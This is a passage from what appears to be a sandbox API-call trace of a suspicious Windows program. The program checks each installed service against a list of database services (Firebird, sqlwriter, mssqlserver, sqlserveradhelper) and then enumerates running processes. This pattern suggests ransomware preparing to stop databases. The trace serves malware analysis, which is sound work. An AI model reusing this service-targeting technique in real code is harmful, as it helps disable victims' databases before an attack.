lpString2="ProfSvc") returned -1 [0158.435] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0158.435] lstrlenW (lpString="RpcEptMapper") returned 12 [0158.435] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0158.435] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0158.435] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0158.435] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0158.435] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0158.435] lstrlenW (lpString="RpcSs") returned 5 [0158.435] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0158.435] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0158.435] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0158.435] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0158.435] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0158.436] lstrlenW (lpString="SamSs") returned 5 [0158.436] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0158.436] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0158.436] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0158.436] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0158.436] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0158.436] lstrlenW (lpString="Schedule") returned 8 [0158.436] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0158.436] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0158.436] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0158.436] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0158.436] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0158.436] lstrlenW (lpString="SecurityHealthService") returned 21 [0158.436] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0158.436] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0158.436] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0158.436] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0158.436] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0158.436] lstrlenW (lpString="SENS") returned 4 [0158.436] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0158.436] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0158.436] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0158.436] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0158.436] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0158.436] lstrlenW (lpString="ShellHWDetection") returned 16 [0158.436] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0158.436] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0158.436] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0158.436] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0158.436] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0158.436] lstrlenW (lpString="Spooler") returned 7 [0158.436] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0158.436] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0158.436] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0158.437] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0158.437] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0158.437] lstrlenW (lpString="SSDPSRV") returned 7 [0158.437] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0158.437] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0158.437] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0158.437] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0158.437] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4260060 | out: hHeap=0x790000) returned 1 [0158.437] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2e0 [0158.446] Process32FirstW (in: hSnapshot=0x2e0, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0158.446] Process32NextW (in: hSnapshot=0x2e0, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6b, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0158.447] lstrlenW (lpString="System") returned 6 [0158.447] Process32NextW (in: hSnapshot=0x2e0, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0158.448] lstrlenW (lpString="smss.exe") returned 8 [0158.448] Process32NextW (in: hSnapshot=0x2e0, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0158.448] lstrlenW (lpString="csrss.exe") returned 9 [0158.448] Process32NextW (in: hSnapshot=0x2e0, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0158.449] lstrlenW (lpString="wininit.exe") returned 11 [0158.449] Process32NextW (in: hSnapshot=0x2e0, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0158.450] lstrlenW (lpString="csrss.exe") returned 9 [0158.450] Process32NextW (in: hSnapshot=0x2e0, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0158.450] lstrlenW (lpString="winlogon.exe") returned 12 [0158.450] Process32NextW (in: hSnapshot=0x2e0, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0158.451] lstrlenW (lpString="services.exe") returned 12 [0158.451] Process32NextW (in: hSnapshot=0x2e0, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0158.452] lstrlenW (lpString="lsass.exe") returned 9 [0158.452] Process32NextW (in: hSnapshot=0x2e0, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0158.452] lstrlenW (lpString="svchost.exe") returned 11 [0158.452] Process32NextW (in: hSnapshot=0x2e0, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x234, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0158.453] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0158.453] Process32NextW (in: hSnapshot=0x2e0, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0158.454] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0158.454] Process32NextW (in: hSnapshot=0x2e0, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0158.455] lstrlenW (lpString="svchost.exe") returned 11 [0158.455] Process32NextW (in: hSnapshot=0x2e0, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0158.455] lstrlenW (lpString="dwm.exe") returned 7 [0158.455] Process32NextW (in: hSnapshot=0x2e0, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5a, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0158.456] lstrlenW (lpString="svchost.exe") returned 11 [0158.456] Process32NextW (in: hSnapshot=0x2e0, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0158.457] lstrlenW (lpString="svchost.exe") returned 11 [0158.457] Process32NextW (in: hSnapshot=0x2e0, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0158.458] lstrlenW (lpString="svchost.exe") returned 11 [0158.458] Process32NextW (in: hSnapshot=0x2e0, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0158.458] lstrlenW (lpString="svchost.exe") returned 11 [0158.458] Process32NextW (in: hSnapshot=0x2e0, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x25, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0158.459] lstrlenW (lpString="svchost.exe") returned 11 [0158.459] Process32NextW (in: hSnapshot=0x2e0, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0158.460] lstrlenW (lpString="svchost.exe") returned 11 [0158.460] Process32NextW (in: hSnapshot=0x2e0, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0158.460] lstrlenW (lpString="svchost.exe") returned 11 [0158.460] Process32NextW (in: hSnapshot=0x2e0, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0158.461] lstrlenW (lpString="svchost.exe") returned 11 [0158.461] Process32NextW (in: hSnapshot=0x2e0, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x538, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0158.462] lstrlenW (lpString="svchost.exe") returned 11 [0158.462] Process32NextW (in: hSnapshot=0x2e0, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0158.462] lstrlenW (lpString="spoolsv.exe") returned 11 [0158.462] Process32NextW (in: hSnapshot=0x2e0, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0158.463] lstrlenW (lpString="svchost.exe") returned 11 [0158.463] Process32NextW (in: hSnapshot=0x2e0, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0158.464] lstrlenW (lpString="svchost.exe") returned 11 [0158.464] Process32NextW (in: hSnapshot=0x2e0, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x4fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0158.464] lstrlenW (lpString="audiodg.exe") returned 11 [0158.464] Process32NextW (in: hSnapshot=0x2e0, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0158.465] lstrlenW (lpString="sihost.exe") returned 10 [0158.465] Process32NextW (in: hSnapshot=0x2e0, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x718, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0158.466] lstrlenW (lpString="svchost.exe") returned 11 [0158.466] Process32NextW (in: hSnapshot=0x2e0, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0158.466] lstrlenW (lpString="taskhostw.exe") returned 13 [0158.467] Process32NextW (in: hSnapshot=0x2e0, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0158.467] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0158.467] Process32NextW (in: hSnapshot=0x2e0, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0158.468] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0158.468] Process32NextW (in: hSnapshot=0x2e0, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x860, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3c, th32ParentProcessID=0x834, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0158.468] lstrlenW (lpString="explorer.exe") returned 12 [0158.468] Process32NextW (in: hSnapshot=0x2e0, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0158.469] lstrlenW (lpString="Memory Compression") returned 18 [0158.469] Process32NextW (in: hSnapshot=0x2e0, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0158.470] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0158.470] Process32NextW (in: hSnapshot=0x2e0, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0158.470] lstrlenW (lpString="SearchUI.exe") returned 12 [0158.470] Process32NextW (in: hSnapshot=0x2e0, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0158.471] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0158.471] Process32NextW (in: hSnapshot=0x2e0, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0158.472] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0158.472] Process32NextW (in: hSnapshot=0x2e0, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0158.473] lstrlenW (lpString="taskhostw.exe") returned 13 [0158.473] Process32NextW (in: hSnapshot=0x2e0, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfd0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="OfficeC2RClient.exe")) returned 1 [0158.473] lstrlenW (lpString="OfficeC2RClient.exe") returned 19 [0158.473] Process32NextW (in: hSnapshot=0x2e0, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfe0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="DeviceCensus.exe")) returned 1 [0158.474] lstrlenW (lpString="DeviceCensus.exe") returned 16 [0158.474] Process32NextW (in: hSnapshot=0x2e0, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfe8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UNPCampaignManager.exe")) returned 1 [0158.475] lstrlenW (lpString="UNPCampaignManager.exe") returned 22 [0158.475] Process32NextW (in: hSnapshot=0x2e0, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="AppHostRegistrationVerifier.exe")) returned 1 [0158.475] lstrlenW (lpString="AppHostRegistrationVerifier.exe") returned 31 [0158.475] Process32NextW (in: hSnapshot=0x2e0, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x384, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xfe0, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0158.476] lstrlenW (lpString="conhost.exe") returned 11 [0158.476] Process32NextW (in: hSnapshot=0x2e0, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x788, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="screensaver.exe")) returned 1 [0158.477] lstrlenW (lpString="screensaver.exe") returned 15 [0158.477] Process32NextW (in: hSnapshot=0x2e0, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="upperarc.exe")) returned 1 [0158.477] lstrlenW (lpString="upperarc.exe") returned 12 [0158.477] Process32NextW (in: hSnapshot=0x2e0, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="buying.exe")) returned 1 [0158.496] lstrlenW (lpString="buying.exe") returned 10 [0158.496] Process32NextW (in: hSnapshot=0x2e0, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="downloadable.exe")) returned 1 [0158.497] lstrlenW (lpString="downloadable.exe") returned 16 [0158.497] Process32NextW (in: hSnapshot=0x2e0, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="guests_production_meanwhile.exe")) returned 1 [0158.497] lstrlenW (lpString="guests_production_meanwhile.exe") returned 31 [0158.498] Process32NextW (in: hSnapshot=0x2e0, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="deemed-shirts.exe")) returned 1 [0158.498] lstrlenW (lpString="deemed-shirts.exe") returned 17 [0158.498] Process32NextW (in: hSnapshot=0x2e0, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="mugwritesheroes.exe")) returned 1 [0158.499] lstrlenW (lpString="mugwritesheroes.exe") returned 19 [0158.499] Process32NextW (in: hSnapshot=0x2e0, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="swapdamelooked.exe")) returned 1 [0158.500] lstrlenW (lpString="swapdamelooked.exe") returned 18 [0158.500] Process32NextW (in: hSnapshot=0x2e0, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="moments.exe")) returned 1 [0158.500] lstrlenW (lpString="moments.exe") returned 11 [0158.500] Process32NextW (in: hSnapshot=0x2e0, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xddc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="geo-sector-antonio.exe")) returned 1 [0158.501] lstrlenW (lpString="geo-sector-antonio.exe") returned 22 [0158.501] Process32NextW (in: hSnapshot=0x2e0, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="stream-test.exe")) returned 1 [0158.501] lstrlenW (lpString="stream-test.exe") returned 15 [0158.502] Process32NextW (in: hSnapshot=0x2e0, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="crestboatingstuffed.exe")) returned 1 [0158.502] lstrlenW (lpString="crestboatingstuffed.exe") returned 23 [0158.502] Process32NextW (in: hSnapshot=0x2e0, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x838, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0158.503] lstrlenW (lpString="taskhostw.exe") returned 13 [0158.503] Process32NextW (in: hSnapshot=0x2e0, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="wrist_exhaust.exe")) returned 1 [0158.504] lstrlenW (lpString="wrist_exhaust.exe") returned 17 [0158.504] Process32NextW (in: hSnapshot=0x2e0, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, 